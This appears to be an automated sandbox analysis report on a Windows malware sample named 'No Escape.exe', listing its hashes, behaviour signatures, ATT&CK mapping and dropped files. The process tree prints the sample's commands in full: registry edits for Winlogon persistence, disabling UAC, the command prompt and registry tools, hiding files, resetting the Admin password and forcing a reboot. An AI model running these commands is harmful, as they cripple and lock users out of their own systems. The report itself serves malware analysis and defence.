Analysis

  • max time kernel
    6s
  • max time network
    7s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26-04-2024 16:49

Errors

Reason
Machine shutdown

General

  • Target

    No Escape.exe

  • Size

    771KB

  • MD5

    2782877418b44509fd306fd9afe43e39

  • SHA1

    b0c18bdf782ca9c4fa41074f05458ce8e0f3961b

  • SHA256

    56d612e014504c96bb92429c31eb93f40938015d422b35765912ac4e6bd3755b

  • SHA512

    8826881b3ab406ee4c1fabd4848161f8524aeaeb7c4397384d36840f947ef95c8560850b2409fbf761ff225cdc8ac6eb875b705476fe9574b23c7a5478505a86

  • SSDEEP

    24576:OeTrmlZGPL7NV9+VitFsQUxY8BGOdQSqZ:hT6KDrmIFsBJBG4XqZ

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Disables RegEdit via registry modification 1 IoCs
  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs net.exe
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\No Escape.exe
    "C:\Users\Admin\AppData\Local\Temp\No Escape.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Windows\system32\wscript.exe
      "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\50EF.tmp\50F0.tmp\50F1.vbs //Nologo
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5012
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\hello.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1648
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\msg.exe
          4⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:3156
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\launch.exe
          4⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:4936
        • C:\Windows\regedit.exe
          regedit /s hello.reg
          4⤵
          • Runs .reg file with regedit
          PID:3320
        • C:\Windows\system32\reg.exe
          reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System /v DisableLogonBackgroundImage /t REG_DWORD /d 1
          4⤵
            PID:4816
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d C:\Windows\system32\userinit.exe,C:\launch.exe /f
            4⤵
            • Modifies WinLogon for persistence
            PID:2032
          • C:\Windows\system32\reg.exe
            reg add "HKEY_CURRENT_USER\control panel\desktop" /v wallpaper /t REG_SZ /d C:\hello.jpg /f
            4⤵
            • Sets desktop wallpaper using registry
            PID:976
          • C:\Windows\system32\reg.exe
            reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallPaper /t REG_DWORD /d 1
            4⤵
              PID:5020
            • C:\Windows\system32\reg.exe
              reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
              4⤵
              • UAC bypass
              PID:3412
            • C:\Windows\system32\reg.exe
              reg add HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2
              4⤵
                PID:3748
              • C:\Windows\system32\reg.exe
                REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
                4⤵
                • Disables RegEdit via registry modification
                • Modifies registry key
                PID:2928
              • C:\Windows\system32\net.exe
                net user Admin death
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:664
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user Admin death
                  5⤵
                    PID:2512
                • C:\Windows\system32\shutdown.exe
                  shutdown /t 0 /r
                  4⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2612
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x4 /state0:0xa3a18855 /state1:0x41c64e6d
            1⤵
            • Modifies data under HKEY_USERS
            • Suspicious use of SetWindowsHookEx
            PID:4504

          Network

          MITRE ATT&CK Matrix ATT&CK v13

          Persistence

          Boot or Logon Autostart Execution

          1
          T1547

          Winlogon Helper DLL

          1
          T1547.004

          Privilege Escalation

          Boot or Logon Autostart Execution

          1
          T1547

          Winlogon Helper DLL

          1
          T1547.004

          Abuse Elevation Control Mechanism

          1
          T1548

          Bypass User Account Control

          1
          T1548.002

          Defense Evasion

          Modify Registry

          4
          T1112

          Abuse Elevation Control Mechanism

          1
          T1548

          Bypass User Account Control

          1
          T1548.002

          Impair Defenses

          1
          T1562

          Disable or Modify Tools

          1
          T1562.001

          Hide Artifacts

          2
          T1564

          Hidden Files and Directories

          2
          T1564.001

          Discovery

          System Information Discovery

          1
          T1082

          Impact

          Defacement

          1
          T1491

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          Downloads

          • C:\Program Files (x86)\date.txt
            Filesize

            120B

            MD5

            255a8e245b6ad378558b90cbe3dbc3d0

            SHA1

            6eb73f9f2034c113a2a6b1aab9a440a21928cfc2

            SHA256

            d3195bde888f9b8a71f2eb840222f1586b652d0ede9f39841a180ead03633ca9

            SHA512

            67e03d7bffa0dec32535b6da46d5b7f38d94a7c9a231aa2fa625b81485d41c1ecac95b08fe5b7a605fcfe1c7e37c55ee716c9045df90ea6e030b86e52ec09edf

          • C:\Program Files (x86)\hello.bat
            Filesize

            1KB

            MD5

            b86fddd2b764f079615be5d4dc3e158d

            SHA1

            2510479054db1fe52cc2dcd3c7033d91204cb367

            SHA256

            2b2114784d15b0b0d5475256851b4d0d4da7181198c2a93a304ecedb98eaf091

            SHA512

            915363bc9f6e665358c8d25f5f5f51d64c53cb755be999013217162b126705ce641ea809047bc84511db7e3e383b848ec3932924baa8926d51a51d0037a5ca63

          • C:\Program Files (x86)\hello.jpg
            Filesize

            110KB

            MD5

            057ea45c364eb2994808a47b118556a2

            SHA1

            1d48c9c15ea5548af1475b5a369a4f7b8db42858

            SHA256

            6e1115188aa00fb5ff031899100bacb0d34819707e069bca3eb53935ebb39836

            SHA512

            582c7ecf2d0c33c8706ff3f39aa926780aa8f0dc0ff5d563905a5100254b81b89def22206abee0871ab339a3d463de9e6ec1782d92198e8f386f173654b6e760

          • C:\Program Files (x86)\hello.reg
            Filesize

            3KB

            MD5

            81427e9d5d10657b9edffd22e7b405bb

            SHA1

            f27ab62f77f827dbb32c66a35ac48006c47f4374

            SHA256

            bb21001c1c468e6e372d836952c3efb7fbdc98e9a20a1bfdcc4beb1b7a1e7f83

            SHA512

            b0ee65bcef13be7c17db6e06b96cd44774fcebe6f4a411b0073493ff53f795e3b7c49e921c3bd2e41256638bc161f5218d1c51b589c3e10164f8f2c0d1db1592

          • C:\Program Files (x86)\launch.exe
            Filesize

            92KB

            MD5

            b4acc41d0e55b299ffeec11a8a20cf08

            SHA1

            bbee20882bdd9dcd24b54b6af6c48cf5efc8c6fa

            SHA256

            34bc0d5b6029a74b9cda56b72434ec1b55b6742ff5ef832d36027a987a63cd42

            SHA512

            d4fa9900d703ea12d508929718433f97581a23b63458e5070ff7749871a7f60889db45098ec2972687b864ba97ab4fc307e8c80c4450dee79c0a5738818d2794

          • C:\Program Files (x86)\msg.exe
            Filesize

            9KB

            MD5

            331a0667b11e02330357565427dc1175

            SHA1

            d84c1ae0bf2c8ca1f433f0086ca86e07f61204c2

            SHA256

            fc7174e44a1d34040c3bc05ce24e648742a38a3accce22e8300d7059e4d12431

            SHA512

            1c47f0438dce58d473d93c10f233650df3e86d7e762a08b3a933da37683e76a079d275db4a1b4028d903f7e43f487173ba8bb25c4cff6f3e1161d0a5b2b18cec

          • C:\Users\Admin\AppData\Local\Temp\50EF.tmp\50F0.tmp\50F1.vbs
            Filesize

            588B

            MD5

            67706bca9ceaba11530e05d351487003

            SHA1

            3a5ed77f81b14093a5f18c4d46895bc7ea770fee

            SHA256

            190a0d994512ed000cf74bd40fb0502988c2ac48855b23a73fd905c0305fc30f

            SHA512

            902ac91678d85801a779acbc212c75beba72f8da996b0ed1b148a326c2dd635b88210f9a503fbbffa5271335483eae972e6a00acbc01ec013cf355c080444598